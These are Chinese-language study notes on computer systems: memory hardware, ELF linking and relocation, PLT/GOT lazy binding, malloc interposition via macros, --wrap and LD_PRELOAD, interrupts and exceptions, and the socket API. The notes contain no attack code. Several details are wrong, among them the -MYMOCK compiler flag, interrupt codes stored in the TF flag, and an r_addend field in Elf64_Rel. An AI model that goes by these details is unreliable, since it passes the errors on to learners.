EEPROM和EPROM类似,只不过不用特殊设备就可以对它进行编程,可以直接在印制电路卡上进行编程,EEPROM总共可以被编程的次数为:10的5次方

闪存(flash memory)

闪存基于EEPROM,是一种重要的存储技术(U盘就是利用Flash实现的)

与前面的PROM,EPROM,EEPROM以 为单位不同,Flash以 为单位(128kb,256kb)

Flash的基本构成单位为浮栅场效应管(这是一个三端器件,分别为:源极,漏极,栅极)

磁盘

磁盘是用于大量存储数据的存储设备,存储数据的数量级可以达到几千千兆字节,但从磁盘上读取数据的时间为毫秒级,比DRAM慢了10万倍,比SRAM慢了100万倍

磁盘由多个重叠在一起的盘片组成,它们被封装在一个密封的包装中

内存结构

在内存调试时,经常需要用到rank、bank等参数,可以看到电脑的内存条中,有很多一片一片的芯片,这就是内存芯片,也是叫内存颗粒

内存的基本单元称为 cell ,cell按行( row )、列( column )分布组成一个 bank

一颗内存颗粒由多个 bank 组成,现在的内存颗粒一般是8个bank,每个bank对于内存来说是平等的关系,因为内存控制器的原因,每个时钟周期只能对一个bank进行操作

所有在内存容量关系中:颗粒 > bank > rowcolumn > cell

IO桥接器

数据通过总线进行流通,每次CPU和主存之间的数据传输都是通过一系列步骤完成的,这些步骤被称为总线事务

读事务:把数据从主存传输到CPU

写事务:把数据从CPU传输到主存

而现代计算机中IO是通过 共享一条总线 的方式来实现的,这就是 IO总线(I/O bus)

IO桥接器则是一组芯片组(其中包括内存控制器)

CPU芯片,IO桥接器,DRAM内存模块

系统总线(system bus)连接了CPU和IO桥接器

内存总线(memory bus)连接IO桥接器和主存

系统总线和内存总线都通过IO桥接器连接到IO总线上,这就实现了各个硬件之间的交互

在这个过程中:CPU上被称为总线接口的电路会在总线上发起“读事务”

​ //交换“A”和“%rax”位置,则会发起“写事务”

CPU会把A放到系统总线上,IO桥接器将信号传递到内存总线,传输到主存

接下来主存会识别内存总线上的地址信号,从内存总线中读取地址,从DRAM中取出数据字,并将数据写入内存总线通过IO桥又写入系统总线,传输到CPU

最后CPU会读取系统总线上的数据,赋值给寄存器rax

链接器

链接(linking)是将 各种代码数据片段 收集并组合成一个单一文件的过程

负责链接工作的程序被称为“链接器”

链接器的出现使我们不用将一个应用组织为一个庞大的文件,而是可以分割为更小的模块

静态链接

静态链接的链接器必须完成两个任务:符号解析,重定位

符号解析:解析目标文件的符号,把 符号引用符号定义 关联起来

重定位:通过把 符号定义内存位置 关联起来,来重定位这些节片段,然后修改对这些符号的引用,使它们指向对应的内存位置

动态链接

在创建可执行文件时,静态执行一些链接

在程序加载时,动态完成链接

动态链接器通过执行下面的重定位来完成链接任务:

  • 重定位 libc.so 的文本和数据到某个内存段
  • 重定位 libvector.so 的文本和数据到另一个内存段
  • 重定位 prog21 中所有的 “由 libc.so 和 libvector.so(存档文件) 定义的” 符号的引用

存档文件

存档文件(libvector.so)是一种文件格式,用于存储一组文件以及与这些文件有关的信息(元数据),创建存档文件的目的是将多个文件存储在一起,通常采用压缩格式,这样可以提高可移植性,同时节省磁盘上的存储空间

目标文件

目标文件分为3种:

1.可重定位目标文件:包含二进制代码和数据,可以在编译时与其他可重定位目标文件合并,创建一个可执行目标文件

2.可执行目标文件:包含二进制代码和数据,可以直接放入内存执行(就是可执行文件)

3.共享目标文件:一种特殊的可重定位目标文件,可以在加载或者运行时被 动态 地加载进内存并进行连接

编译器和汇编器生成:可重定位目标文件

链接器生成:可执行目标文件

各个系统目标文件的格式不同:Unix系统,采用a.out格式;Windows系统,采用PE格式;MacOS系统,采用Mach-O格式

可重定位目标文件

这个就是可重定位目标文件的格式,ELF头描述了产生该文件的系统的 字的大小字节序

ELF头剩下的部分包含:帮助链接器进行 语法分析解释目标文件 的信息

不同节的位置大小是由 “节头部” 决定的,其中目标文件的每个节都有一个固定大小的条目(entry),夹在“ELF头”和“节头部表”之间的都是节

一个经典的ELF可重定位目标文件包含下面几个节:

.text:已经编译的程序机器代码

.rodata:只读数据

.data:已经初始化的 全局变量 和 静态变量(局部变量保存在栈中)

.bss:未初始化的 全局变量 和 静态变量(被初始化为“0”的变量也会保存在这里)

.symtab:符号表,用于存放程序中定义或引用的 “函数和全局变量” 的信息

.rel.text:“.text节”的重定位信息,用于重新修改代码段的指令中的地址信息

.debug:调试符号表

.line:原始C源程序中的行号 和 “.text节”中机器指令之间的映射

.strtab:字符串表(包含“.symtab”和“.debug”中的符号名和节名)

符号及其相关

符号(symbol)

函数名,变量名,数组名,结构体名都可以称之为符号

在链接器的上下文中一共有3中不同的符号:

  • Global symbols(模块内部定义的全局符号)
    • 由模块m定义并能被其他模块引用的符号(非static函数,非static全局变量)
  • External symbols(外部定义的全局符号)
    • 由其他模块定义并被模块m引用的全局符号
  • Local symbols(本模块的局部符号)
    • 仅由模块m定义和引用的本地符号(带有static的函数和全局变量)
    • 注意:局部变量不会在过程外被引用(分配在栈中),因此不是符号定义

符号表(symtab)

符号表是由汇编器构造的,包含一个条目的数组,每个条目都是一个结构体

1
2
3
4
5
6
7
8
9
typedef struct {
Elf32_Word st_name; /* 符号对应字符串在strtab节中的偏移量 */
Elf32_Word st_value; /* 在对应节中的偏移量,可执行文件中是虚拟地址 */
Elf32_Word st_size; /* 符号对应目标所占字节数 */
unsigned char type: 4, /* 符号对应目标的类型:数据、函数、源文件、节 */
binding: 4; /* 符号类别:全局符号、局部符号、弱符号 */
unsigned char st_other;
Elf32_Section st_shndx; /* 符号对应目标所在的节,或其他情况 */
}Elf32_Sym;
1
2
3
4
5
6
7
8
9
typedef struct  
{
Elf64_Word st_name; /* Symbol name (string tbl index) */
unsigned char st_info; /* Symbol type and binding */
// 高4字节为type,低4字节为binding
unsigned char st_other; /* Symbol visibility */
Elf64_Addr st_value; /* Symbol value */
Elf64_Xword st_size; /* Symbol size */
}Elf64_Sym;

st_name:对应字符串表的偏移

st_value:距离目标符号地址的偏移

st_size:目标的大小

st_info:高字节为type,低字节为binding

type:表示符号类型(要么是数据,要么是函数)

binding:表示符号是本地的,还是全局的

符号和节

每个符号都会被分配到目标文件的某个节,由 section 字段表示,改字段也是一个到节头部表的索引,但是存在3个 伪节 ,它们在节头部表中是没有条目的

ABS:代表不应该被重定位的符号

UNDEF:代表未定义的符号,就是在本目标模块中被引用,但是却在其他地方定义的符号

COMMON:代表未被分配位置的未初始化数据的目录

​ // 只有在可重定位目标文件中才有这些伪节,可执行目标文件是没有的

COMMON和bss节的区别很细微:

符号解析

链接器从左往右按照它们在编译器驱动程序命令行上出现的顺序,来扫描可重定位目标文件和存档文件,在这次扫描中,链接器会维护:

一个 可重定位目标文件的集合E (将会被合并为可执行目标文件)

一个 未解析符号集合U (引用了但是未定义)

一个 在前面输入文件中已经定义的符号集合D(自己定义的符号也会被装入)

符号解析的工作流程如下:

  1. 在命令行上输入文件F,链接器会判断文件F是一个目标文件,还是一个存档文件
  2. 如果是目标文件,则添加到E,并且修改U和D来反应F中的 符号定义引用
  3. 如果F是一个存档文件,那么链接会尝试匹配 未解析符号集合U存档文件成员定义的符号 ,假设存档文件中有个成员 m,定义了一个符号来解析U中的一个引用,那么就将 m 添加到E中,并且链接器修改U和D来反映 m 中的 符号定义引用

扫描完成以后,集合U非空,链接器就会输出一个错误并终止,以表明有符号未定义

扫描完成以后,集合U为空,那么链接器就会合并集合E中的目标文件,构建可执行文件

​ // 当D被新填入时,对应的U会减少

符号变量

自动变量(动态局部变量):auto

  • 离开函数,值就消失
  • 不写 static 就默认是 auto

静态局部变量:static

  • 离开函数,值任然保留
  • 变量的值只在函数内部生效
  • 带有 static 的变量只会初始化一次(数据存储在 data 段)
  • 当上一级函数多次调用本函数时,带有 static 的变量数值不变(并且不会进行初始化)

寄存器变量:register

  • 离开函数,值就消失
  • 变量的值只在函数内部生效

全局变量:在 main 之外

  • 允许 main 中所有函数访问
  • 允许外部其他文件访问

静态全局变量:在 main 之外,static

  • 允许 main 中所有函数访问
  • 变量的值只在文件内部生效

使用目标文件的节头表,可以定位文件的所有节,节头表是 Elf32_ShdrElf64_Shdr 结构的数组

节头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
typedef struct {
elf32_Word sh_name; /* 节的名称,此成员值是节头字符串表节的索引,用于指定以空字符结尾的字符串的位置 */
Elf32_Word sh_type; /* 用于将节的内容和语义分类 */
Elf32_Word sh_flags; /* 节可支持用于说明杂项属性的1位标志 */
Elf32_Addr sh_addr; /* 如果节显示在进程的内存映像中,则此成员会指定节的第一个字节所在的地址 */
Elf32_Off sh_offset; /* 从文件的起始位置到节中第一个字节的字节偏移 */
Elf32_Word sh_size; /* 节的大小 */
Elf32_Word sh_link; /* 节头表索引链接,其解释依赖于节类型 */
Elf32_Word sh_info; /* 额外信息,其解释依赖于节类型 */
Elf32_Word sh_addralign; /* 一些节具有地址对齐约束 */
Elf32_Word sh_entsize; /* 指定每一项的大小(一些节包含固定大小的项的表) */
} Elf32_Shdr;

typedef struct {
Elf64_Word sh_name;
Elf64_Word sh_type;
Elf64_Xword sh_flags;
Elf64_Addr sh_addr;
Elf64_Off sh_offset;
Elf64_Xword sh_size;
Elf64_Word sh_link;
Elf64_Word sh_info;
Elf64_Xword sh_addralign;
Elf64_Xword sh_entsize;
} Elf64_Shdr;

节分配

节简述

  • ELF头:包括16字节的标识信息,文件类型(.o,exec,.so),机器类型(如Intel 80386),节头表的偏移,节头表的表项大小及表项个数
  • .text节:编译后的代码部分
  • .rodata节:只读数据,如 printf 用到的格式串,switch 跳转表等
  • .data节:已初始化的全局变量和静态变量
  • .bss节:未初始化全局变量和静态变量,仅是占位符,不占据任何磁盘空间,区分初始化和非初始化是为了空间效率
  • .symtab节:存放函数和全局变量(符号表)的信息,它不包括局部变量
  • .rel.text节:.text节的重定位信息,用于重新修改代码段的指令中的地址信息
  • .debug节:调试用的符号表(gcc -g)
  • .strtab节:包含 .symtab节和 .debug节 中的符号及节名

示例(可能会有不同,比如:在我的电脑上 .data 为第4节)

运行&链接&加载&存储地址

运行地址 ~~ 链接地址

链接地址:在程序编译的时候,每个目标文件都是由源代码编译得到,最终多个目标文件链接生成一个最终的可执行文件,而链接地址就是指示链接器,各个目标文件的在可执行程序中的位置

  • 链接地址是静态的,在进行程序编译的时候指定的

运行地址: 程序实际在内存中运行时候的地址

  • 运行地址是动态的,如果你将程序加载到内存中时,改变存放在内存的地址,那么运行地址也就随之改变了
1
例如上图所示,指令ldr r0, =func就是一条位置相关指令,在编译的时候,编译器根据链接地址(链接地址入口是 0x40008000 )将其翻译成:ldr r0, [pc, #0x80],也就是将func标号等价于地址 0x40008080 ,然后将 0x40008080 这个地址数值放在a.out文件中链接地址 0x50008000 的位置。当程序运行时,a.out会被加载到内存中运行,如果程序运行的地址和链接的地址都是 0x40008000 ,那么程序运行时,没有任何问题,因为读取的func的地址是 0x40008080 ,实际跳转的时候,跳转到 0x40008080 中存放的也是func对应的代码。但是如果运行的地址和链接地址不一样(运行地址是 0x20008000 ),这时候,func的地址还是编译的时候计算的地址 0x40008080 ,但是实际在内存中,func的地址是 0x20008080 ,那么当你跳转执行func的时候,取出来的是 0x40008080 ,跳转的地址也是 0x40008080 ,而 0x40008080 中存放的是什么代码我们不确定,但是一定不是func的代码(func存放在 0x20008080 中)。这个就是位置相关的概念

加载地址 ~~ 存储地址

加载地址:每一个程序一开始都是存放在flash中的,而运行是在内存中,这个时候就需要从flash中将指令读取到内存中(运行地址),flash的地址就是加载地址

存储地址:指令在flash中存放的存储地址,就是存储地址

参考:链接地址、运行地址、加载地址、存储地址

重定位

但链接器完成符号解析这一步时,就会把代码中的 每个符号引用一个符号定义 关联起来

此时,链接器就知道它输入目标模块的 “代码节” 和 “数据节” 的切确大小

重定位的工作流程如下:

  • 重定位“节”和“符号定义”:链接器会把所有同类型的节合并起来,然后将“运行地址”赋值给 “新的聚合节”“输入模块中定义的每个节” ,以及 “输入模块中定义的每个符号” ,这一步完成之后,程序中的每条指令和全局变量都有唯一的“运行地址”
  • 重定位“节”中的“符号引用”:链接器会修改 代码节 和 数据节 中对应 每个符号的引用 ,使得它们指向 正确的运行地址 (链接器需要依赖“重定位条目relocation entry”完成此操作)

重定位条目

代码的重定位条目存放于“.rel.text”中

已初始化数据的重定位条目存放于“.rel.data”中

1
2
3
4
typedef struct {
Elf32_Addr r_offset;
Elf32_Word r_info;
} Elf32_Rel;
1
2
3
4
5
6
typedef struct {
Elf64_Addr r_offset;
Elf64_Word r_info;
Elf64_Word r_addend;
} Elf64_Rel;

r_offset:需要 “被修改引用” 的节偏移

r_info:高字节为type,低字节为symbol

type:告知链接器如何修改新的引用

symbol:标识 “被修改引用” 应该指向的符号

r_addend:一个符号常数,一些类型的重定位要使用它进行调整

ELF文件定义了32种不同的重定位类型,其中最基本的两种为:

  • R_X86_64_PC32:使用32位 PC相对地址 的引用(PC相对地址:距离程序计数器(PC)的当前运行值的偏移量),类似于 “jmp xxxx” 等汇编指令,“xxxx” 加上 程序的“SP指针”得到 有效地址 ,PC值通常是下一条指令在内存中的地址
  • R_X86_64_32:使用32位 绝对地址 ,CPU直接获取 有效地址

文件中的代码和数据总体大小“小于2GB”,使用“R_X86_64_PC32”(小型代码模型)

文件中的代码和数据总体大小“大于2GB”,使用“R_X86_64_32”(中型代码模型,大型代码模型)

GCC默认使用“R_X86_64_PC32”

可执行目标文件

段和节

段视图:是用来描述ELF加载到进程中后,来划分“读,写,执行”权限划分的视图

节视图:是ELF存放在磁盘中时,进行不同功能区域划分的视图

在汇编源码中,通常用语法关键字section或segment来表示一段区域,它们是编译器提供的伪指令,作用是相同的,都是在程序中”逻辑地”规划一段区域,此区域便是节

注意,此时所说的section或segment都是汇编语法中的关键字,它们在语法中都表示”节”,不是段,只是不同编译器的关键字不同而已,关键字segment在语法中也被认为与section意义相同

只有ELF文件加载到内存成为进程过后,才有“段”的概念

ELF文件到虚拟内存的映射

​ // 左边为“节”,右边为“段”

1
2
objdump -s elf	#查看elf文件结构
cat /proc/pid/maps #输出进程对应的‘虚拟内存’结构

加载

当linux系统加载某个文件时,会通过调用某个驻留在存储器中的 加载器(loader)来运行它,加载器本质上也是一段“操作系统代码”(通过execve函数来调用加载器)

加载器把目标文件的“代码”和“数据”,从磁盘复制到内存中的过程就叫做加载

位置无关代码(PIC)

无需“重定位”就可以加装的代码就是 位置无关代码 (PIC)

位置无关代码无论被加载到哪个地址上都可以正常执行

PIC的数据引用

无论我们在内存何处加装一个目标模块,它的“数据段”和“代码段”的距离总是保持不变的,因此,代码段中 任何指令任何变量 之间的距离都是常量

生成全局变量PIC的偏移器利用了这个事实,它在数据段开始的地方创建了一个表,叫做全局偏移量表(GOT表),在GOT表中,每个被此模块引用的“全局数据”,“过程”,“全局变量”,都有一个8字节条目

加载时,动态链接会重定位GOT表中的每个条目,使其包含目标的绝对地址

PIC的函数调用

编译器没法直接获取“共享库函数”的绝对地址,所以这里采用了延迟绑定的方式

延迟绑定技术是通过GOT表(全局偏移量表)和PLT表(过程链接表)的交互完成的

  • 过程链接表(plt):plt是一个数组,每个条目都是16字节的代码,每一个条目负责一个具体的函数,plt[0]是一个特殊条目(它可以跳转 动态链接器 ),plt[1]调用系统启动函数“libc_start_main”,从plt[2]开始的条目依次调用“用户代码中的函数”
  • 全局偏移量表(got):got是一个数组,每个条目都是8字节地址,got[0]和got[1]会包含 动态链接器 在解析函数地址时需要的信息,got[2]是 动态链接器 在“ld-linux.so”模块中的入口点,其余的每一个got表条目都对应一个被调用的函数,每一个条目都有一个对应的plt[n]
  • 第1步:程序进入plt[n](对应被调用函数的plt条目),跳转got[n]
  • 第2步:got[n]没有对应的libc地址,程序跳转回plt[n]
  • 第3步:把偏移压栈,接着跳转plt[0]
  • 第4步:把got[1](link_map)压栈,跳转got[2]
  • 第5步:got[2]中存放的动态链接器会根据“偏移”和“got[1]”查找libc库中的函数
  • 第6步:找到对应函数后,进入函数,并且把got[n]对应位置写入libc函数的地址

库打桩机制

linux链接器允许用户截获程序对共享库函数的调用,取而代之自己的代码,这种技术被称为“库打桩”

利用“库打桩”,用户可以追踪某个函数的调用次数,验证和追踪它的输入值和输出值,或者把它替换为一个完全不同的实现

基本思想

先给定一个需要打桩的目标函数,创建一个包装函数(它的原型和目标函数一样),使用特殊的打桩机制,可以欺骗程序程序调用包装函数而不是目标函数

假设有程序:

1
2
3
4
5
6
7
8
#include<stdio.h>
#include"malloc.h"
int main()
{
char *p = malloc(64);
free(p);
return 0;
}

编译时打桩

1
2
#define malloc(size) mymalloc(size) //把malloc全替换为mymalloc
void *mymalloc(size_t size)
1
2
3
4
5
6
7
8
9
10
11
#ifdef MYMOCK //只有MYMOCK编译选项是,这段代码才会编译进去
#include<stdio.h>
#include<stdlib.h>
/*打桩函数*/
void *mymalloc(size_t size)
{
void *ptr = malloc(size);
printf("ptr is %p\n",ptr);
return ptr;
}
#endif

编译时打桩:主要利用了C预处理机制

1
2
$ gcc -MYMOCK -c mymalloc.c	
$ gcc -I. -o test test.c mymalloc.o //test就是目标文件

参数 “- I.” 会告诉C预处理器,在搜索通常的系统目录之前,先在当前目录中查找“malloc.h”

1
2
$ ./main
ptr is 0xdbd010

可以发现:“malloc.h”被“mymalloc.o”调包了

链接时打桩

1
2
#define malloc(size) mymalloc(size) //把malloc全替换为mymalloc
void *mymalloc(size_t size)
1
2
3
4
5
6
7
8
9
10
11
12
#ifdef MYMOCK //只有MYMOCK编译选项是,这段代码才会编译进去
#include<stdio.h>
#include<stdlib.h>
void *__real_malloc(size_t size);//注意声明
/*打桩函数*/
void *__wrap_malloc(size_t size)
{
void *ptr = __real_malloc(size);//最后会被解析成malloc
printf("ptr is %p\n",ptr);
return ptr;
}
#endif

链接时打桩:linux静态链接器支持用 “—wrap,function”进行打桩

1
2
3
$ gcc -DMYMOCK mymalloc.c
$ gcc -c main.c
$ gcc -Wl,--wrap,malloc -o test test.o mymalloc.o //test就是目标文件

“-Wl option”表示把“option”传递给链接器

“—wrap,malloc”告诉静态链接器:

把“malloc”解析为“ __wrap_malloc ”

把“ __real_malloc ”解析为“真正的malloc”

1
2
$ ./main
ptr is 0x95f010

可以发现:“malloc”被解析为了“ __wrap_malloc ”

运行时打桩

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#ifdef MYMOCK //只有MYMOCK编译选项是,这段代码才会编译进去
#define _GNU_SOURCE //这行特别注意加上
#include<stdio.h>
#include<stdlib.h>
#include<dlfcn.h>
extern FILE *stdout;
/*打桩的malloc函数*/
void *malloc(size_t size)
{
static int calltimes;
calltimes++;
/*函数指针*/
void *(*realMalloc)(size_t size) = NULL;
char *error;

realMalloc = dlsym(RTLD_NEXT,"malloc");//RTLD_NEXT
if(NULL == realMalloc)
{
error = dlerror();
fputs(error,stdout);
return NULL;
}

void *ptr = realMalloc(size);
if(1 == calltimes)
{
printf("ptr is %p\n",ptr);
}
calltimes = 0;
return ptr;
}
#endif

运行时打桩:可以通过设置LD_PRELOAD环境变量,达到在你加载一个动态库或者解析一个符号时,先从LD_PRELOAD指定的目录下的库去寻找需要的符号,然后再去其他库中寻找

1
2
3
$ gcc -DMYMOCK -shared -fPIC -o libmymalloc.so mymalloc.c -ldl
//将mymalloc.c制作成动态库 >> libmymalloc.so
$ LD_PRELOAD="./libmymalloc.so" //设置LD_PRELOAD环境变量
1
2
$ ./main
ptr is 0x95f010

可以发现:程序优先从”./libmymalloc.so”找到了“打桩malloc”

异常控制流(ECF)

程序可以使控制流发生“突变”来处理异常情况,这些“突变”就是异常控制流

应用程序可以使用“陷阱(trap)”或者“系统调用(syscall)”的ECF形式,向操作系统请求服务:向磁盘中写数据,从网络中读数据,创建一个新进程,终止当前进程

同步&异步

同步,是所有的操作都做完,才返回给用户结果,即写完数据库之后,在相应用户

异步,不用等所有操作等做完,就相应用户请求,即先相应用户请求,然后慢慢去写数据库

异常

异常是控制流中的一种形式,它一部分由硬件实现,一部分由操作系统实现

  • CPU检测到flag寄存器中的异常数据
  • CPU控制IP指针,通过“异常表的跳转表”跳转对应的处理程序
  • 处理完成后,进行相对应的操作(终止进程,继续进程,输出报错信息……)

系统把每种类型的异常都分配了一个唯一非负的异常号

异常表的基址放在一个叫异常表基址寄存器的特殊CPU寄存器中

异常的类型

异常分为4种:中断(interrupt),陷阱(trap),故障(fault),终止(abort)

类型 原因 异步/同步 返回行为
中断 来自“I/O”设备的信号 同步&异步 总是返回到下一条指令
陷阱 有意的异常 同步 总是返回到下一条指令
故障 潜在可恢复的错误 同步 可能返回到当前指令
终止 不可恢复的错误 同步 不会返回

中断

中断程序信号处理的一种机制

中断分为 内中断外中断

内中断概述

任何一个CPU都有一种能力:

可以在执行完当前指令后检测到从CPU内部产生的一种特殊信息,并立刻进行处理

这种特殊信息就是中断信息

​ //中断信息要求CPU立马进行处理,并携带了必备的参数

内中断可以使计算机可以处理紧急情况

内中断在程序中有意地产生,所以是主动的,也是“同步”

内中断产生

1.除法错误(TF=0)

2.单步执行(TF=1)

3.执行”into”指令(TF=4)

4.执行”int n”指令(TF=n)

对于8086CPU,这4种情况可以产生中断信息

外中断概述

CPU除了进行运算以外,还要有对 I/O 能力(输入/输出),但是外设的输入输出 随时 可能发生,CPU必须要拥有可以 及时处理 这些信息的能力,这就引入了外中断的思想

这种中断发生完全是“异步”的,根本无法预测到此类中断会在什么时候发生

外中断产生

外设的输入将被存放在端口中,而其输入随时可能到达

信息到达时,外设的相关芯片会给CPU发出相应的中断信息,当CPU执行完当前的指令后,一旦检测到该中断信息,就会触发外中断,行为上和内中断相似

在PC系统中,外中断源一般有以下两类:

1.可屏蔽中断:

可屏蔽中断是CPU可以不响应的中断

其到底响不响应,主要是看IF寄存器(“IF = 1” ——> 响应,“IF = 0” ——> 不响应)

在CPU执行某个中断时,会把IF设置为“0”,可以暂时屏蔽其他中断

​ //指令sti:设置“IF=1”,指令cli:设置“IF=0”

2.不可屏蔽中断:

不可屏蔽中断是CPU必须执行的外中断,不可屏蔽中断不需要中断类型码,立即引发响应

中断向量表

中断向量表中保存了256个中断处理程序的入口

CPU接收到中断类型码后,就会根据中断类型表找到中断处理程序的入口

中断过程

1.CPU获取中断类型码

2.flag寄存器入栈(中断过程会改变flag寄存器)

3.设置flag寄存器的TFIF为“0”

4.CS寄存器入栈

5.IP寄存器入栈

6.从中断向量表中读取中断处理程序的入口地址

中断检查

中断信息会被存储在flag寄存器的TF位中(TF = n:中断类型码为“n”)

CPU读取到此信息后就会开始中断过程

陷阱

陷阱是有意的异常,是执行一条指令的结果

陷阱最重要的用途:在“用户程序”和“内核”之间提供一个一样的接口,称为系统调用

处理器提供了一条特殊的指令:syscall,用于用户请求系统调用

有些基于读写的操作必须要在 “内核模式” 中完成,而系统调用为了实现这些功能而诞生的,它通过提供 有权限限制“内核模式” ,来实现一些 “用户模式” 无法办到的操作

用户程序通过系统调用从用户态(user mode)切换到核心态( kernel mode ),从而可以访问相应的资源。这样做的好处是:

  • 为用户空间提供了一种硬件的抽象接口,使编程更加容易
  • 有利于系统安全
  • 有利于每个进程度运行在虚拟系统中,接口统一有利于移植

当然,中断也可以实现系统调用(“int 80”)

故障

故障是由错误引起的,但是它可能可以被故障处理程序修正

当发生故障时,处理器会将控制转移给故障处理程序:如果可以修正故障,那么程序将返回并继续执行,否则,程序将返回内核中的“abort例程”并终止该程序

终止

终止是不可恢复的致命错误的结果,通常是一些硬件错误

终止处理程序将直接终止目标程序,不会返回任何信息

内核模式

处理器通常是用某个控制寄存器中的模式位来表示“当前进程的特权”

共两种特权:“用户模式”,“内核模式”

套接字接口

套接字接口(socket interface)是一组函数,它们和 Unix I/O 函数结合起来,用以创建网络应用

大多数现代系统上都实现套接字接口,包括所有的 Unix 变种、Windows 和 Macintosh 系统

​ // 从 Linux 内核的角度来看,一个套接字就是 通信的一个端点 ,从 Linux 程序的角度来看,套接字就是一个 有相应描述符的打开文件

因特网的套接字地址存放在所示的类型为 sockaddr_in 的 16 字节结构中(IP 地址和端口号总是以网络字节顺序(大端法)存放的)

下面将介绍套接字接口中的部分函数:

1
2
3
4
int socket(int domain, int type, int protocol);
// domain:即协议域,又称为协议族(family)
// type:指定socket类型
// protocol:指定协议

​ // 协议族决定了 socket 的地址类型,在通信中必须采用对应的地址

socket 函数 用于来返回一个 套接字描述符 (clientfd)

  • 套接字描述符:用来标定系统为当前的进程划分的一块缓冲空间,类似于文件描述符
  • 文件描述符:是内核为了高效管理已被打开的文件所创建的索引,用于指代被打开的文件,对文件所有 I/O 操作相关的系统调用都需要通过文件描述符(open的返回值fd)
1
2
3
4
int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
// sockfd:需要绑定的socket
// *addr:存放了服务端用于通信的地址和端口
// addrlen: sizeof(sockaddr_in)

bind 函数 告诉内核将 addr 中的服务器套接字地址和套接字描述符 sockfd 联系起来

​ // bind函数把一个本地协议地址赋予一个套接字

1
2
3
int connect(int clientfd, const struct sockaddr *addr, socklen_t addrlen);
// clientfd:套接字描述符的一种
// addrlen:sizeof(sockaddr_in)

connect 函数 试图与 “套接字地址为 addr 的服务器” 建立一个因特网连接

如果成功,clientfd 描述符现在就准备好可以读写了(最好用 getaddrinfo 来为 connect 提供参数)

1
2
3
int listen(int sockfd, int backlog);
// sockfd:需要绑定的socket
// backlog:暗示了内核在开始拒绝连接请求之前,队列中要排队的未完成的连接请求的数量

listen 函数 将 sockfd 从一个 主动套接字 转化为一个 监听套接字 (listening socket),该套接字可以接受来自客户端的连接请求

1
2
3
4
int accept(int listenfd, struct sockaddr *addr, int *addrlen);
// listenfd:服务器的socket描述符
// *addr:指向struct sockaddr *的指针
// *addrlen:协议地址的长度

accept 函数 等待来自客户端的连接请求到达侦听描述符 listenfd,然后在 addr 中填写客户端的套接字地址,并返回一个 已连接描述符

一个服务器通常通常仅仅只创建一个监听socket描述字,内核为每个由服务器进程接受的客户连接创建了一个已连接socket描述字,当服务器完成了对某个客户的服务,相应的已连接socket描述字就被关闭

1
2
3
4
5
6
7
8
9
int getaddrinfo(const char *host, const char *service,
const struct addrinfo *hints,
struct addrinfo **result);
// host & service:套接字地址的两个组成部分
// 可选的参数 hints 是一个 addrinfo 结构,它提供对 getaddrinfo 返回的套接字地址列表的更好的控制
// getaddrinfo 返回 result,result 一个指向 addrinfo 结构的链表

void freeaddrinfo(struct addrinfo *result);
const char *gai_strerror(int errcode); // 返回:错误消息

getaddrinfo 函数 将主机名、主机地址、服务名和端口号的字符串表示转化成套接字地址结构,它是已弃用的 gethostbyname 和 getservbyname 函数的新的替代品

在客户端调用了 getaddrinfo 之后,会遍历这个列表,依次尝试每个套接字地址,直到调用 socket 和 connect 成功,建立起连接,类似地,服务器会尝试遍历列表中的每个套接字地址,直到调用 socket 和 bind 成功,描述符会被绑定到一个合法的套接字地址,

  • 为了避免内存泄漏,应用程序必须在最后调用 freeaddrinfo,释放该链表
  • 如果 getaddrinfo 返回非零的错误代码,应用程序可以调用 gai_streeror,将该代码转换成消息字符串
1
2
3
4
5
6
7
8
9
10
struct addrinfo {
int ai_flags; /* Hints argument flags */
int ai_family; /* First arg to socket function */
int ai_socktype; /* Second arg to socket function */
int ai_protocol; /* Third arg to socket function */
char *ai_canonname; /* Canonical hostname */
size_t ai_addrlen; /* Size of ai_addr struct */
struct sockaddr *ai_addr; /* Ptr to socket address structure */
struct addrinfo *ai_next; /* Ptr to next item in linked list */
};
1
2
3
4
5
6
7
int getnameinfo(const struct sockaddr *sa, socklen_t salen,
char *host, size_t hostlen,
char *service, size_t servlen, int flags);
// *sa:指向大小为 salen 字节的套接字地址结构
// *host 指向大小为 hostlen 字节的缓冲区
// *service 指向大小为 servlen 字节的缓冲区
// 参数 flags 是一个位掩码,能够修改默认的行为

getnameinfo 函数 和 getaddrinfo 是相反的,将一个套接字地址结构转换成相应的主机和服务名字符串,它是已弃用的 gethostbyaddr 和 getservbyport 函数的新的替代品

1
2
3
int open_clientfd(char *hostname, char *port);
// *hostname:服务器运行的地址
// *port:指向端口

客户端调用 open_clientfd 建立与服务器的连接

open_clientfd 函数 建立与服务器的连接,该服务器运行在主机 hostname 上,并在端口号 port 上监听连接请求

1
2
int open_listenfd(char *port);
// *port:指向端口号

open_listenfd 函数 打开和返回一个监听描述符,这个描述符准备好在端口 port_h 接收连接请求

网络编程中的信号

进程组

进程组就是一系列相互关联的进程集合,系统中的每一个进程也必须从属于某一个进程组,每个进程组中都会有一个唯一的 ID(process group id),简称 PGID,PGID 一般等同于进程组的创建进程的 Process ID,而这个进进程一般也会被称为进程组先导(process group leader),同一进程组中除了进程组先导外的其他进程都是其子进程

进程组的存在,方便了系统对多个相关进程执行某些统一的操作,例如:我们可以一次性发送一个信号量给同一进程组中的所有进程

会话

会话(session)是一个若干进程组的集合,同样的,系统中每一个进程组也都必须从属于某一个会话

  • 一个会话只拥有最多一个控制终端(也可以没有),该终端为会话中所有进程组中的进程所共用
  • 一个会话中前台进程组只会有一个,只有其中的进程才可以和控制终端进行交互,除了前台进程组外的进程组,都是后台进程组

和进程组先导类似,会话中也有会话先导(session leader)的概念,用来表示建立起到控制终端连接的进程,在拥有控制终端的会话中,session leader 也被称为控制进程(controlling process),一般来说控制进程也就是登入系统的 shell 进程(login shell)

带外数据

带外数据用于迅速告知对方本端发生的重要的事件,它比普通的数据(带内数据)拥有更高的优先级, 不论发送缓冲区中是否有排队等待发送的数据,它总是被立即发送 ,带外数据的传输可以使用一条独立的传输层连接,也可以映射到传输普通数据的连接中,

​ // 实际应用中,带外数据是使用很少见,有 telnet 和 ftp 等远程非活跃程序

